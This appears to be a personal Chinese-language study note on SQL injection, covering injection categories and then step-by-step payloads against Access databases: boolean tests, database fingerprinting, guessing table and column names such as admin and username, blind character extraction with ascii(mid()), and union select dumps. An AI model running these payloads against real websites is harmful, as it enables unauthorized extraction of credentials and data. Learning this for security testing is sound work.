一、注入的分类
按数据库分类:1.整形
2.字符型(需要考虑单引号闭合的问题,还有注释不必要的语句 # )
eag: id='admin' id='admin and1=1'这样会报错 所以需要 id='admin' and '1'='1 ' 这样来进行闭合
注意:字符型适合弱类型语言 php asp ,不支持jsp aspx
按注入点分类:1.GET
2.POTS
3.COOKIE
4.搜索形注入
5.http头注入
按注入的显示方式:1.显错注入
2.盲注(主要是根据返回数据的快慢判断)
根据sql语句的不同:1.union 2.select 3.update
二、简单的access以ASCII的方式 注入
1.判断注入点
1) and 1=1 返回正常 and 1=2 返回错误 存在注入点
2) or 1=1 返回错误 or 1=2 返回正常 存在注入点
2.判断数据库的类型
and (select count(*)from msysobjects )>0 返回的如果是权限不够的话是access
and (select count(*)from sysobjects )>0 返回正常的话是sqlserver
F12审查元素 看network看中间件 根据中间件的黄金组合来大概判断
3.猜测表名
and (select count(*) from admin)>=0 返回正常则证明存在admin表 (是根据取admin所有列的数目,如果大于等于0的话证明有admin这个表,大于0的话证明admin存在数据不是空表)
3.猜测列数(字段数)
and (select count(*) from adnmin)>1 通过不断变化数字1,2,3,4,5...来判断列数
3.猜测列名(字段名)
and(select couunt(username) from admin)>=0 返回正常则证明 存在username列
4.获取数据位数 * mid函数用于从文本字段中提取字符 mid(字段名,取第几位,取几个字符) top2 表示的是前两行,不是第二行
and (select top 1 ascii(mid(username,1,1))from admin)>0 通过不断改变数字1,2,3,4... 原理: 一直变换数字知道取不出字符时,ascii就不会在大于0
5.获取数据
and (select top 1 ascii(mid(username,1,1))from admin)>20 通过1来控制位数 通过变换20来控制ascii对应的具体的值 最终得出ASCII在转化为明文
三 、access快速获取数据
1. order by 1 通过不断改变1来判断字段数 假如字段数为5
2.union select 1,2,3,4,5 from admin返回正常 则证明存在admin表 假如数字2在网页爆出(若果没有爆出数字 解决方法1.报错显示2.审查元素中找)
3.union select 1,username,3,4,5 from admin 正常则证明存在username列 并且username的数据也会在相应的2的位置爆出来